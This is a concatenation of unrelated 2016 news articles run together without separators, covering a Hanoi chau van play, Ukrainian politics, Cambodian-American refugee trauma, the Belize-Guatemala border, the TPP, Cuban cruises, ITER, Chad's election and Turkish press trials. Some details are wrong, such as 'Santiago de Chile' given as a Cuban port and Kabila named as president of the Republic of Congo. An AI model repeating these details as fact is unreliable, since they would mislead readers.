Both local markets exchanged nearly 149 million shares worth nearly VND2.2 trillion, a decrease of nearly 19 per cent from Wednesday.
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The play, Tu Phu (Four Palaces), is preformed three days a week at Cong Nhan Theater, located at 42 Trang Tien, Hoan Kiem District.

Though tickets were not officially sold until March 2016, the play began being staged on a pilot basis six months ago and a special March 22 performance was attended by dozens of delegates from different countries.

The show, which also featured French subtitles, was part of the activities taking place in several Vietnamese cities from March 12 to 23 in commemoration of International Francophone Day (March 20).

The foreign diplomats even joined the actors bewitching psychic performances, and were enchanted at the token gifts they received.

Tu Phu is one of the several dance and circus plays which have earned notable acclaim among foreign audiences in Hanoi and Ho Chi Minh City over recent years.

A scene from the March 22, 2016 performance in Hanoi of the critically acclaimed Tu Phu (Four Palaces). Photo: Tuoi Tre

Such plays are A O Show, Lang Toi (My Village), and Ionah, which are regularly performed to tourists and highlight traditional aspects of Vietnamese culture during their visits to the country.

Enthusiastically raved about on stages in Vietnam and other countries, A O Show adopts the language of circus and theater to depict Vietnams idyllic pastoral life, as well as traditional customs and folk games.

Last year the play creator inked an agreement to bring the show to 60 reputable theaters throughout Europe over a three-year period.

Unlike other popular Vietnamese artistic works which fuse different genres, each of the 45-minute Tu Phu editions highlights chau van from start to finish.

Chau van, also known as hat van or hat bong and recognized as a national intangible cultural heritage, was introduced during the Tran Dynasty (1225-1400).

Nam Dinh Province, located in the north, is considered the genres birthplace.

The genre is a highly rhythmic and trance-oriented form of singing mainly played at temples and pagodas.

It is typically performed during rituals to honor the Mother Goddesses and is spiritually connected to other gods.

Foreign delegates pose at the March 22, 2016 performance of the play. Photo: Tuoi Tre

One of chau vans highlights is its psychic performances, which involve artists donning gaudy costumes and reciting time-honored passages against profoundly religious music in a surreal manner.

Emerging director Viet Tu, creator of Tu Phu, founded his Viet Theater for the purpose of developing the play.

He spent three years doing extensive research on the genre and one more year incubating how to devise the play in a bid to keep the psychic ritual from being distorted and disregarded as superstition in different localities throughout Vietnam.

My aim is to retain and promote the allure of chau van to local and foreign enthusiasts alike, Tu said.

He added his play is subject to changes of passages and excerpts so that audiences can relish it for several times.

Many readers of travel website TripAdvisor, including foreigners, have showered praise on the play for its riveting content and artistic elements.

Foreign delegates give a standing ovation during the March 22, 2016 performance meant for diplomatic staffers. Photo: Tuoi Tre

According to Secretary General of the Vietnam National Commission for UNESCO Pham Sanh Chau, in March 2015, the country submitted a dossier regarding its rituals to honor the Mother Goddesses to the United Nations Educational, Scientific and Cultural Organization for its recognition as an Intangible Cultural Heritage of Humanity.

The concisely staged play has vividly accentuated chau van and its glamor, and is thus instrumental in promoting the genre to international friends, he noted.

The dossier will be looked into during a forthcoming annual meeting of the Intergovernmental Committee for the Safeguarding of the Intangible Cultural Heritage, to take place from November 28 to December 2 in Ethiopia.
Ukrainian President Petro Poroshenko has expressed gratitude to Romania for providing financial assistance to Ukraine.

"The head of state expressed gratitude to the government of Romania for the decision to allocate military-technical assistance to Ukraine in the amount of EUR250,000 and the contribution of Romania to the NATO Trust Fund on Cybersecurity in the amount of EUR500,000. The president believes that these decisions demonstrate Romania's support for Ukraine in its struggle against Russian aggression," the presidential press service reported after the president's meeting with Romania Prime Minister Dacian Ciolos.

Poroshenko noted Ukraine and Romania have a great potential for the development of economic cooperation.

The parties also discussed the possibility of developing transport links between Ukraine and Romania in the Danube River estuary, in particular the construction of new bridges.

The parties agreed to speed up work on signing documents required for the establishment of natural gas imports from Romania to Ukraine.

Poroshenko and Ciolos agreed to intensify cooperation for the development of education in the Ukrainian language in Romania, as well as the development of tourism in both countries.
Photo by SUN SENTINEL

Pat Patrick, friend of adventurer Reza Baluchi, helps tie ropes on the Hydro Pod, which Baluchi plans to take on an 3,500-mile Atlantic and Caribbean trip, Wednesday in Pompano Beach, Fla.


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Ukraine's Minister of Finance Oleksandr Danyliuk after detecting errors in filling in the declaration has asked lawyers to check the companies of the group in which he worked during his stay in Britain. He said he will change his declaration based on the results of their work. .

"I want to apologize to the public  this information should have been properly declared by me on the first try," he wrote on his Facebook page.

Danyliuk said that, according to the information he received, he is still formally the director of three companies: two companies in Cyprus and one in the Cayman Islands.

"They were part of the group of companies, which I led as one of the directors, i.e. as a hired manager acting in the interests of investors," the minister added.

He said he had given instructions to withdraw him from these positions, and now his former partners together with the lawyers are completing the relevant procedures.

"I did not declare these companies at once because I believed that my partners had withdrawn me out of the management staff of these structures in 2010," Danyliuk said.
China's top diplomat has paid a two-day official visit to Cambodia, one of its closest allies in Southeast Asia.

Chinese Foreign Minister Wang Yi at a news conference Friday with his Cambodian counterpart Prak Sokhon said he was delighted that Cambodia often supported Beijing's positions on world affairs. China is at odds with several of Cambodia's fellow members of the Association of Southeast Asian Nations who accuse Beijing of illegitimately extending territorial claims in the South China Sea.

The two ministers said Cambodia backs Beijing's call for a solution that does not involve interference from outside - an unstated reference to U.S. naval support for some of the countries challenging Beijing's claims.

Cambodia, one of the region's least-developed countries, enjoys large amounts of aid and investment from China.
As a child, Jennifer Ka could not understand why her father was always angry. He seemed unable to love her and her siblings.

It was very painful that I could not connect with him. He was really never there and present with us because he was stuck in his trauma; he never told me what happened to him in the Khmer Rouge, said Ka.

Ka was born to refugees who resettled in the United States in the 1980s. Her parents survived the murderous Khmer Rouge regime, but were unable to leave behind the memories of that time.

The scars of the past were compounded by poverty once in America. We always had to worry about having enough, she said.

From the 1970s to the 1990s, as many as 100,000 Cambodian refugees resettled in the United States. But far from finding a sanctuary, many Cambodians in America have grappled with poverty, mental health problems and social isolation.

Communication Breakdown

Many Cambodian-American families experience a disconnection due to the trauma suffered by the parents, says Mary Scully, program director at Connecticut-based Khmer Health Advocates.

Sixty percent of parents who went through the Pol Pot regime have mental health issues. If they have flashback, if they get anxious, then they go from being connected to be disconnected with their kids, which is very confusing for the child said Scully, who has spent over 35 years working with the Cambodians both in the refugee camps and in Connecticut.

[Cambodian-American children] think that their parents pull away from them because they were bad, she said. Cambodian kids are worried about their parents, and those worries often translate into anger, and wanting to get away from the parents.

Since early 1990s Mary Scully and other dedicated advocates have been conducting a number of research on mental illness among the Cambodian community in the U.S., which show a strong linkage between mental illness and chronic diseases.

Compared with the average across the U.S. population, Cambodian-Americans have twice the rate of type 2 diabetes, seven times the rate of depression, and 15 times the rate of post-traumatic stress disorder, she said.

We were seeing mental health problem in the community right from the beginning. The people had bad headaches, nightmares. They are anxious. As time went on, we saw that wasnt going away, said Scully.

But the right kind of help was never enough in the community. We knew what their problems were. We knew that they needed an intense of help, but we never gave it to them, she said.

Things were made worse when, in 1996, the U.S. Congress reformed its welfare policy to cut down the assistance provided with food stamps, shelter, and other benefits, and that affected the refugees who were not naturalized citizens.

Many community-based organizations then had to shift their focus from what they were mandated to do on economic development, to help people get citizenship. Today, Khmer Health Advocates is one of only a few community-based organizations supporting the community, compared with about 100 before 1995.

We would get a call in the middle of the night that people were saying, If I lost my food stamp, if I lost my housing, I cant survive. I cant go through this again, said Scully. They [lawmakers] had no idea of how that had the impact on the community.

The U.S. government refuses to pay attention to the issue, Scully said. Cambodians are suffering in silence. They dont make enough noise. They dont have the big voice to get resources.

A Failed Policy

The policy of resettlement was fundamentally flawed, argued Professor Eric Tang at the University of Texas. Tang recently published a book about Cambodian refugees in the Bronx, New York City.

Its the failure of a social state that doesnt provide enough support for them as a transition from being refugees to immigrants to resident, but sooner cut their welfare and others from support that they need to really build the life here in the U.S., said Tang.

Tang was a community organizer working with the Cambodian refugee population in the Bronx in the 1990s, where the refugees had a challenging resettlement experience.

The first thing they were confronted with was harsh living conditions, bad housing, he said. Many of the refugees were not equipped to take the good jobs that were available, so theyre stuck in the state of working poverty.

Additionally, he said, there was no long term plan to help refugees to establish themselves economically when they arrived in the U.S. The resettlement policy doesnt pay attention to, for instance, job training. [It didnt] allow people to heal from their trauma, before we push them into sweatshop jobs, he said.

That mean that many children of refugees ended up unemployed, often becoming involved in criminal gangs. Many of them were convicted of crimes, and have been deported from the U.S. to Cambodia, a country that they may never have visited.

The truth is that from many of these young Cambodians, they continued to struggle with working poverty, said Tang. Some do not go to college, and many are profiled, targeted by criminal justice system, and subjected to deportation to Cambodia.

Ka, however, returned voluntarily. She decided to visit Cambodia in her early 20s. She was born in the U.S. and barely speaks Khmer, so knew very little about the country. But, she said, she would come to call it home.

Not until I came to Cambodia, did I come to understand my history, be there with my land, my people, and feel that I was finally home," she said. "Then I started to deeply understand the pain my parents' suffered from the genocide that I was not aware of before."
The tiny Central American country of Belize has accused larger neighbor Guatemala of "amassing'' troops along the two countries' border following the death of a 13-year-old boy in a shooting incident apparently involving Belizean soldiers.

It's a new flashpoint in a long territorial dispute between the two countries. Guatemala claims parts of territory governed by Belize as its own.



Guatemala says teenager Julio Rene Alvarado Ruano, his father and his 11-year-old brother were attacked Wednesday as they planted crops in the border community of San Jose Las Flores near Melchor de Mencos, which is on the border between the department of Peten and Belize.



Guatemalan President Jimmy Morales called it a "cowardly and excessive attack'' that merits the "total condemnation of the Guatemalan state.'' He said he had summoned his ambassador to Belize for consultations and urged Belize to investigate and bring those responsible to justice.



Belize's government said in a statement that according to initial reports, its security forces were investigating illegal land clearing in the Cebada area of the Chiquibul National Park in western Belize when they detained a Guatemalan man suspected of illicit activities.



It said the patrol came under fire around nightfall and shot back in self-defense. Before leaving the location just inside Belizean territory, the soldiers found the boy's body, which was taken to Belize City for an autopsy, the statement said.



The detained man, identified as Jose Maria Antonio Reyes, was handed over to police and was awaiting arraignment on unspecified charges.



Belizean Prime Minister Dean Barrow disputed Morales' version of events, saying in a statement that his country "has a long history and tradition as a peace-loving country, respectful of international law [and] human rights.''



Belize said its soldiers had been accompanied by members of a Belizean conservation group when the incident occurred.



The Belize government said in a press statement late Thursday that ``the current amassing of Guatemalan troops in the border areas ... only adds volatility to the tensions.''



Guatemala and Belize, a former British colony, have a territorial dispute that dates back more than 150 years. Guatemala recognized Belizean independence in 1991 but still claims parts of the country's territory as its own.
President Faustin-Archange Touadera of the Central African Republic, who took office less than a month ago, has said his first tasks will include disarming ex-combatants and rebuilding the military.

"Security, peace and national reconciliation will enable all Central Africans to freely go about their business," he said in an exclusive interview with VOA's French to Africa Thursday.

He also said the international arms embargo on the C.A.R. imposed in 2013 must be lifted.

"As of today, our defense forces are not operational. ... To rebuild our army, we need that embargo ... lifted or at least [changed] in a way to allow our elements to operate. He added that he felt confident, after his meeting with U.N. chief Ban Ki-moon, that this issue would be addressed in the next Security Council meeting.

Touadera was elected president of the C.A.R. in February in a poll that was widely seen as a step forward for the country. The C.A.R. has been mired in violent turmoil since Seleka rebels ousted then-president Francois Bozize in 2013.

There has been no meaningful disarmament of armed groups, something the president said will require the financial backing of the international community.



VOA's Jacques Aristide interviewed Touadera in New York after the newly-elected president met with with Ban.

Touadera said the two men discussed the accusations of child sexual abuses by French and U.N. peacekeepers in the C.A.R. He added his government is not involved in the ongoing investigation.

"What we want is justice be done ... Our desire  that's what I told the secretary-general  is that if there are cases where there is evidence, we should at least be informed and involved in probing for the truth. We will also talk to contributing countries to expedite the process so that justice is done for these victims," he said.
After nearly three years of concentrated efforts to counter the U.S.-sponsored Trans-Pacific Partnership (TPP) and build an alternative trade block, China is now seriously considering the possibility of joining the TPP regime.

"I think it does not make sense to have a world divided by different trade blocks. The U.S. should join the Asian Infrastructure Investment Bank [AIIB], and China should become part of the TPP," said Wang Huiyao, the president of the Center for China and Globalization, and an advisor to the Chinese government.



The two sides should stop creating trade bottlenecks and join hands for the expansion of free trade, Wang told VOA. He added that both China and the U.S. have a lot to gain if they worked within one trade regime.

As the second biggest international trader, China can make a lot of difference to the emerging TPP mechanism, analysts said. At present, 12 countries have agreed to join the TPP.

Interest in China

At the Asia Pacific Council of American Chambers of Commerce in Beijing this month, a U.S. official made it clear that Washington was interested in attracting both China and India into the TPP system. This is in contrast to the impression among Chinese experts who think the U.S. has either resisted Beijing's entry or planned to use the TPP to isolate China from a major part of world trade.

Even if Beijing makes a formal decision to join the TPP, it will be a challenging task for it to meet some of the stiff environmental and labor standards laid out in the agreement. A vast section of Chinese industry has grown without any regard to environmental damage, and are often accused of denying workers some of their rights.



But Diane Farrell, Deputy Assistant Secretary for Asia at the U.S. Department of Commerce, does not agree. She explained the TPP is elastic enough to accommodate the different conditions of different countries, and give each new member sufficient time to adjust to the standards. "The TPP has been designed to accommodate economies at different stages of development. The standards have to be implemented in a phased manner, and every country will get sufficient time to implement them. This is why Malaysia is in it," Farrell said.

Writing the rules

In February, U.S. President Barack Obama said it would be bad for American businesses and workers if China were allowed to set rules of free trade. "And our concern there was that China was the 800-pound gorilla, and if we allowed them to set trade rules out there, American businesses and American workers were going to be cut out," Obama said on February 22 at the National Governors Association reception while explaining why the TPP was conceived.

China responded saying that the world trade rules in the 21st century should not be written by a single country. The Chinese media reacted more sharply saying the United States is trying to divide the world into two trade blocks. U.S. politicians like Obama keep spreading canards that nothing from China is good and thus everything Chinese must be resisted," said the official China Daily, adding, "It's time Obama stopped pushing for the TPP at the cost of the vital China-U.S. relations.

At the same time, there is a sharp realization among many in China that it makes more sense to be part of the TPP regime if it becomes a reality instead of spending a huge amount of effort to counter it.

AIIB, Silk Road efforts

Beijing has obtained some success in its efforts to create an alternative trade block under the banner of the Silk Road and Maritime Silk Road programs, in addition to the AIIB. About 65 countries have agreed to join at least one of them.

The AIIB also recently entered into a co-financing deal with the World Bank. "The World Bank decision will upgrade the status of AIIB. It is already causing a lot of excitement across the world. I am sure the U.S. will begin to notice its importance soon," Wang said.

China has also proposed a free trade route with interconnected ports and roads, both existing and planned projects, running through Asia and Europe. It has also offered financial support and extended its construction muscle to many of the planned projects. The ultimate goal to is ease the movement of Chinese goods and counter challenges like the TPP, observers said.

But the initial success on AIIB and the Silk Road program is closely linked to China's ability to buy goods and services from different countries and finance projects in those regions. Beijing's ability on this score has been weakened recently by its domestic economic slowdown.

In fact, government economists have been closely looking at the possibility of joining the TPP for a long time, even as efforts progressed for the alternative "Silk" free trade route.

"China should keep paying close attention and at an appropriate time, in accordance with progress on domestic reform, join the TPP, while limiting the costs associated to the greatest degree," the Communist Party's Study Times journal said in October last year. "China is currently working with the U.S. to discuss bilateral investment agreements in order to access the 'national treatment before admission + Negative List' mode as the basis for negotiations, in line with TPP requirements," it said.

In other words, China is quitely negotiating with the United States to dilute some of the aspects of the TPP. This may be possible to some extent. But U.S. companies that are demanding higher market access in China are unlikely to agree to major changes without a fight.
The Republic of Congo has signed an historic $200 million agreement that aims to reverse the rapid deforestation of its vast rainforest, the world's second largest behind the Amazon.

Congo is the first nation to sign a pact with the Central African Forest Initiative (CAFI), a seven-month-old program designed to renew forest protection efforts in the Congo Basin.

The initiative was launched last year by five other African nations and European donor countries. It requires participating nations to create investment plans to identify and attack activities that are contributing to deforestation.

Forests in the Congo Basin cover about two million square kilometers, about the size of the Central American country of Mexico. But the forests in the Congo Basin are shrinking by about 5,600 kilometers a year due, in part, to the expansion of palm oil plantations.

The environmental group Global Witness says Congo's largest logging companies are routinely violating national laws that are designed to protect the country's forests.

President Joseph Kabila has promised to reform the agricultural industry in his country, which is rich in minerals and fertile land.

Timing of the agreement coincided with Earth Day, during which more than one billion people around the world participated in activities to promote environmental protection.
A black man is on stage, singing in the French patois of the Cajun people as he squeezes melodies out of his accordion and his fellow musicians play along on drums, bass, guitar and washboard. As they play, young and old dance, while people sitting at nearby tables pick and peel little red crustaceans sometimes called crayfish, but better known as crawfish.

This was the scene over the weekend at the Brazoria County Crawfish Festival held at a racetrack near Angleton, Texas, under mostly cloudy skies.

Gusts of wind tore down some tents and a light rain sometimes fell on attendees, but that is expected at this time of year in Texas, when rain and crawfish can arrive in abundance.

"The thing about a crawfish festival," said organizer Bob Fuldaur, "is you have that window of time when it is crawfish season  roughly March through June."

Although some of these freshwater crustaceans are harvested in Texas during that period, 90 percent of all the crawfish harvested in the United States come from Louisiana and 70 percent of that is consumed there.

Crawfish boiled in spices are tasty, but they also bring people together for a common experience.

"It just means fun," Fuldaur said, "it is just a fun food and you always eat with a group."

Cajun influence in Texas

The crawfish experience came to Texas with the Cajuns, thousands of whom now live in the Houston area.

They are descendants of French settlers expelled from their homeland of Acadia in Canada between 1755 and 1764 because they refused to accept British rule.

Many sailed to what was then the French territory of Louisiana and settled in the bayous and swampland near New Orleans, where they learned to utilize local plants and animals in their cuisine  borrowing ideas from the Creole French who preceded them, and developing their own specialties, as well.

In Texas  as in Louisiana  Cajun language, traditions, food and music blended into a gumbo, or mixture, of French, African, Spanish and American Indian influences.

The Zydeco music played at the Brazoria County Crawfish Festival is a blend of Cajun traditional music and the blues that former black slaves developed in this region following the American Civil War in the mid-19th century.

Fuldaur says the music is essential to the event.

"You have got to have Zydeco," he said, "as well as the blues, country and rock n roll."

Preparing, eating crawfish

Mark McAlpin spent most of his time at the festival working over a large metal vat full of boiling water and crawfish.

"You let em boil about two to three minutes, and then you let em soak for about 15 minutes," he said.

During that time, he stirs them occasionally with a long ladle. When they are ready to eat, he hauls them out of the vat in a large mesh cage, and opens the bottom gate to dump them into a pan for serving.

At nearby tables, those people with long experience eating the small, lobster-like animals simply give them a quick twist, pull the meat from the tail, and pop it into their mouths. Most people, however, spend a lot of time and effort picking the delectable tails out of the shells.

Oscar Ibarra from Spring, Texas, is a big fan.

"I like everything," he said, "the texture, the taste, the spice. I enjoy it."

Crawfish-centered fair

The Brazoria County Crawfish Festival included a variety of other foods as well, such as fried alligator meat, hot dogs, Greek gyros and lots of sweets. One woman even made little cookies designed to resemble crawfish.

Other attractions included carnival rides, armadillo races and a dog splash contest in which canines pursuing a toy tossed by a trainer are judged by how far they can jump into a pool.

"What we try to do is take the feel of a small-town, friendly community fair and just serve it up really big," Fuldaur said.

As the festival was underway Saturday and Sunday, a large storm was forming in the nearby Gulf of Mexico that would drench the area in record rain and cause widespread flooding by Monday.

But the festival wrapped up Sunday afternoon, so the crawfish lovers and music fans were able to get their fill of both.
An agreement on a joint air space between the EU and Ukraine could be signed in July 2016, Ukraine's Minister of Infrastructure Volodymyr Omelian has said.

"We have a serious issue of signing the agreement with the EU. We've got a new date from Brussels - July 2016. This is the last date I believe in, then I will draw the EU's attention to the fact that they need to keep their word," he said during the Ukrainian Infrastructure Forum in Kyiv.

As reported, President of Ukraine Petro Poroshenko in 2015 authorized the then Minister of Infrastructure Andriy Pyvovarsky to sign an agreement on a joint air space with the EU. Prior to that, European Commission Spokesperson Jakub Adamowicz noted that the Commission supports the signing of the agreement, but did not mention a specific date when such an agreement could be signed, in particular due to the unsolved problem of Gibraltar.
Cubans and Cuban-Americans can now travel to and from the Caribbean island by cruise ships, according to a statement Friday by Cuban state-run media.

The Cuban government authorized, starting April 26, Cuban residents to enter and leave as passengers of cruise ships. But the statement stressed that Cubans living in the country must have a valid visa of the country or countries they plan to visit.

Carnival Cruise Line is the first to sign contracts with Cuban businesses to sail from the U.S. to Cuba. The inaugural trip since the 1959 revolution will be May 1.

This is a positive outcome and we are extremely pleased. We want to extend our sincere appreciation to Cuba and to our team who worked so hard to help make this happen, Carnival Chief Executive Arnold Donald said in a statement.

The statement on Friday also said officials are reviewing a ban on citizens from boarding recreational vessels such as fishing boats and yachts.

Until now, Carnival had not allowed Cuban-born Americans to book the trips because a Cuban law that dating to the Cold War said they could not visit the island by sea.

Carnival received approval from the United States government last year to sail to Cuba, followed by a go-ahead from Havana a day after President Barack Obamas historic visit to the country in March.

Carnival cruise lines previously said it would allow Cuban-born passengers to book travel to Cuba, but vowed to delay trips if the island's government did not change its policy allowing nationals to return by sea.

Last week, Democratic Congressman Alan Grayson of Florida stressed that Carnival should not sail to Cuba until the ban on Cuban-born passengers was lifted.

I would not forbid Carnival to sail through public action, but I would heavily discourage it and try to persuade Carnival not to sail to Cuba until the policy is changed, Grayson told the Miami Herald newspaper in a phone interview.

Around 300,000 Cuban-born Americans enter their homeland each year.

Carnival's 700-passenger Adonia is set to sail every other week and dock in the Cuban ports of Havana, Cienfuegos and Santiago de Chile. The cost of the week-long cruise starts at $1,800.
Demonstrators held a two-day rally and 24-hour hunger strike outside the White House this week to protest what they consider a lack of U.S. action to stop genocide in Sudan's Darfur region.

The protest was part of a Global Week of Action against genocide in Darfur, an event that continues through April 25.

About 100 demonstrators chanted "Stop genocide in Darfur" and "Justice, justice for Darfur" outside the White House on April 16, the first day of the protest.

Niemat Ahmadi, founder of the Darfur Women's Action Group, told VOA's South Sudan in Focus that she organized the hunger strike and protest because people are dying and the White House is doing nothing about it.

"We demanded the Obama administration speak up and send special forces to Darfur to assist the situation, Ahmadi said. The people are dying because of the government of Sudan, and that's why we want the world leaders, particularly the U.S. government, to speak up against the recent attacks in Darfur and hold the government of Sudan accountable."

Fighting between the government and Darfurian rebel groups that began in 2003 recently surged again, mainly in the Jebel Marra area.

Sudanese government forces and allied Darfur militia, known as the Janjaweed, have long been accused burning villages, looting cattle and property, polluting water sources, and murdering and torturing civilians, as well as raping women and girls as a weapon of war.

The International Criminal Court in the Hague has charged Sudanese President Omar al-Bashir with war crimes and genocide, but he has denied the charges and avoided arrest.

U.S. reaction

The U.S. State Department told VOA Wednesday that the United States has engaged many times with the Darfur Women's Action Group. It said the primary objective of U.S. policy in Darfur is to promote sustainable peace and stability.

Ahmadi believes U.S. President Barack Obama must do more to help the people of Darfur.

"Obama has the opportunity to do something about Darfur people and people of Sudan, she said. And this the first the black president; [it's] very unfortunate that he can overlook the suffering of blacks in Sudan."

As part of the protests, Ahmadi said members of the Darfurian diaspora in the United States are working with partners in Europe, Australia and elsewhere to draw people's attention to the atrocities in Darfur.

Organizers have met this week with various U.S. lawmakers and are holding workshops in Washington to educate lawmakers, academics and others about the genocide that has occurred in Darfur.
The White House says the United States is leading global efforts in addressing climate change. But with President Obamas last term coming to an end, where do the presidential hopefuls stand on climate change?

NBC News reported that Republican candidates Donald Trump and Senator Ted Cruz have said they do not believe in climate change. While Ohio Governor John Kasich said humans contribute to it.

Meanwhile on the Democratic side, Hillary Clinton and Senator Bernie Sanders both agree that climate change is a challenge.

Trump, who spoke on Twitter about this issue in 2012, said "The concept of global warming was created by and for the Chinese in order to make U.S. manufacturing non-competitive."

Cruz justified his position by saying that data collected does not show significant temperature changes for the past 18 years.

"If you look at satellite data for the last 18 years, there's been zero warming. ...The satellite says it ain't happening," Cruz said at an event in California last year.

But U.S. scientists said government data, which they said is more reliable than satellites, show that 15 of the 17 years after 1997 have been warmer than 1997 and 2015 was the hottest year on record.

For Sanders, climate change is the single greatest threat facing our planet. Sanderss plan is to ban fossil fuel lobbyists from working in the White House and invest in clean and sustainable energy such as clean electricity and solar power.

Clinton, according to NBC, does not call it the greatest threat, but said it is an urgent threat and a defining challenge.

Her proposal is to increase investment on renewable energy and cut subsidies for fossil fuels. She also wants to set national goals to have 500 million solar panels installed.

Environmental activist Bill Nye told CNN even though people are aware of climate change, more than ever before, there is still a long way to go.

He also criticized Republican presidential candidates and the fossil fuel industry for not acknowledging the deleterious effects of climate change.

"There's still a very strong contingent of people who are in denial about climate change," Nye said. "And if you don't believe me, look at the three people currently running for president of the world's most influential country who are ... climate change deniers," Nye said.
All todays nuclear power plants make energy by thge splitting of uranium atoms -- which creates a lot of useful heat but also a lot of dangerous and deadly nuclear waste. The opposite process -- fusion -- also creates heat but with hardly any pesky radiation. The problem is that fusion is way more difficult to achieve. Scientists from 35 nations, including United States, Russia and China, are painstakingly trying to solve the problem -- to create technology that could power the world for thousands of years.

Scientists have long known that fusing atoms of two isotopes of hydrogen, deuterium and tritium, releases huge amounts of energy and very little radiation. But doing so requires the kind of heat and pressure found in our sun, though focused on a much, much smaller point, -- about the size of a person's smaller pocket change.

Modern technology says it is very difficult but not impossible to achieve. Powerful lasers would provide pressure and heat while huge magnets would keep the little sun levitating in the middle of a special chamber.

Fusion, It is projected, will yield up to 10 times more energy than it uses.

Started in 1985, a project in Southern France called ITER is slowly plodding along with plans for a working fusion reactor. It's been plagued by politics, and by organizational and funding difficulties.

But its new director general, French physicist and chemist Dr. Bernard Bigot, said the reactor is finally on its way to being built.

For example the first delivery of what we call the cryostat piece is coming from India, okay. In the U.S., General Atomics has been able for example to deliver the first set of the central solenoid, said Bigot.

The Congressional committee that approves U.S. participation in the project has seesawed on its support. In 1998 it withdrew from the project, only to rejoin the effort in 2005 and then drastically reduce the funding in 2008. Bigot came to the U.S. to try to persuade it to stay on.

The U.S. is now wondering if it is worth to move on, okay, forward with project for the next coming years or maybe to step down. And so it was quite important to show them that despite the fact they just have the sharing of 9%, okay, project is moving on and its worth for them to stay in, said Bigot.

Bigot added that if the new schedule is endorsed by seven core members, including the U.S., China and Russia, the assembly of the reactor could be finished by 2025, with first experiments starting in 2028.

Ultimately the reactor will cost billions of dollars to build, but if it works, the results will be literally priceless.
Despite a noticeable drop in Hong Kongs real estate market, some areas of the city are still experiencing a boom because of gentrification.

Hong Kong real estate prices are projected to fall 20 percent by the end of 2017. But in recent years, several of the citys oldest working-class neighborhoods have quickly been transformed by real estate developers to become trendy new districts populated with cafes, boutiques and new homes for wealthy locals and foreign nationals.

Residents like Alex Lau say the development has contributed to widespread discontent over the gap between rich and poor.

The Hong Kong government always helps the developers of the land too much, and some people cannot even have a simple house. That is the main problem, he said.

Sheung Wan, Sai Ying Pun, Tai Hang and Kennedy Town have all gradually changed into popular, hip neighborhoods, drawing the citys fashionable elite, causing rents to increase.

Kowloons waterfront is being developed into a new culture and arts district, and the neighborhood of Sham Shui Po, one of the poorest in Hong Kong, is increasingly becoming a haven for the citys entrepreneurs, designers and artists.

Art as attraction

Last month, arts organization HKWalls staged a festival in the neighborhood, drawing international and local artists to paint murals there.

Jason Dembski, co-founder of HKWalls, said he wants to make a positive difference in neighborhoods like Sham Shui Po and that art benefits every person, no matter their socio-economic class.

I think arts good for everyone, regardless of stature," he said. "I dont think its elitist at all. It certainly can be. There are people who think one way about art, but in general I think art should be available to everyone.

But critics say the arts festival represents the beginning of a transformation experienced by other Hong Kong districts, where high brow art and fashion replace everyday commerce, and the wealthy gradually edge out the poor.

As far as I am concerned I dont think they have any other places to go if the prices of Sham Shui Po rise up," said Ahkok Wong, a culture critic and lecturer at Lingnan University. "But thats exactly what we are looking at right now: the old Chinese restaurants are closing down, and the fancy restaurants, the Italian cafes, are moving in. You can see a lot of murals painted there, so everything is changing really, really fast.

A community group in Sham Shui Po says nearly 7,000 residents have been displaced and 187 buildings demolished in the district since 2001, when it was home to the citys garment industry.

The neighborhood, like many others in Hong Kong, will continue to transform. Developers are planning to build a 150-bed luxury hotel there, with a pool and bar, that will open in three to four years time.
Chadian President Idriss Deby secured his fifth term in office Thursday, beating out more than a dozen opponents in a landslide victory. But opposition leaders are accusing him of voter fraud.

Deby won 61.5 percent of the vote in the April 10 election, according to the national election commission, beating the main opposition leader Saleh Kebzabo by nearly 50 percent. Kebzabo, though, said the vote was rigged.

Kebzabo and a group of other opposition politicians said they dont recognize the outcome of what they called an electoral stick-up, and accused Deby of stuffing ballot boxes.

Hundreds of ballot boxes have disappeared, the politicians said, also alleging that Deby had imprisoned soldiers who intended to vote against him.

Last week African Union observers said there was no foul play involved in the election.

More than six million people cast ballots in the election  a 76 percent turnout. Since Deby secured more than 50 percent of the vote, there will be no run-off election.

The internet was cut off while voting took place and mobile phones were unable to send messages. Following the announcement of Debys victory, his supporters celebrated by shooting guns into the air in the capitals large Nation Square.
The trial of two Turkish journalists accused of espionage and aiding a terrorist organization adjourned Friday and one of them expressed hope that the case was nearing acquittal.



Speaking to reporters outside the Caglayan courthouse in Istanbul after their third hearing, Can Dundar, editor-in-chief of the opposition Cumhuriyet newspaper, said that, finally, the court registered their cases as acts of journalism, keeping them separate from another case related to Turkish intelligence operations.

Dundar and Cumhuriyets Ankara bureau chief, Erdem Gul, could face life in prison for a story with images they published in January 2014, alleging the Turkish government smuggled weapons to Syria.

In another case, also related to increasingly restricted free speech in the country under President Recep Tayyip Erdogan, four Turkish academics accused of spreading terrorist propaganda went on trial in the same courthouse in Istanbul Friday, for signing a declaration condemning Turkeys military action against Kurdish rebels.

The four academics on trial and more than 1,000 of their colleagues signed the petition urging Turkey to halt its deliberate massacres and deportation of Kurdish and other peoples in the region." The petition infuriated Erdogan and led to the legal proceedings against them.

If convicted, the academics could be sentenced to up to seven-and-a-half years in prison.

"We are at the academics' hearing. The same groundless allegations," Dundar tweeted.

Hundreds of demonstrators, among them opposition legislators and university students, gathered outside the Istanbul courthouse to show their support for Cumhuriyet journalists and the academics, as riot police stood guard.

They were holding placards reading "Freedom for the pencils" and Freedom for the academics" and "Don't Touch my teacher; end to dictatorship in university."

Demonstrator Gonenc Hacaloglu said that the journalists are being tried for reviling the ruling party and the governments war crimes.

Some opposition legislators joined the rally as riot police stood guard outside the courthouse.

Garo Paylan of pro-Kurdish opposition party HDP (People's Democratic Party) said that journalism cannot be described as espionage for revealing misdeeds by the state and informing the public.

Rights groups have repeatedly sounded the alarm about the intolerance of dissent shown by authorities in Turkey. Since becoming president in 2014, Erdogan has prosecuted nearly 2,000 people for insulting him.

In the recently released 2016 World Press Freedom Index, Turkey fell to 151st out of the 180 countries ranked by Reporters Without Borders.

Earlier this year, U.S. Vice President Joe Biden visited the country, where he criticized Turkish leaders for cracking down on freedom of expression.

Biden said the Turkish government was not setting the right "example" with its imprisonment of journalists and investigation of academics who have criticized the government's military campaign in Turkey's Kurdish-dominated southeastern region.
Afghanistans national flag flew at half-staff in government offices and special prayers were offered in mosques across the country Friday to pay respects to the victims of this weeks deadly Taliban attack in Kabul.

The bomb-and-gun assault of a well-guarded building linked to the intelligence agency, the National Directorate for Security, killed nearly 70 people, mostly security forces.

Another 347 people, many of them civilians, were wounded in the deadliest Taliban strike in the capital since the Islamist group was ousted from power in 2001.

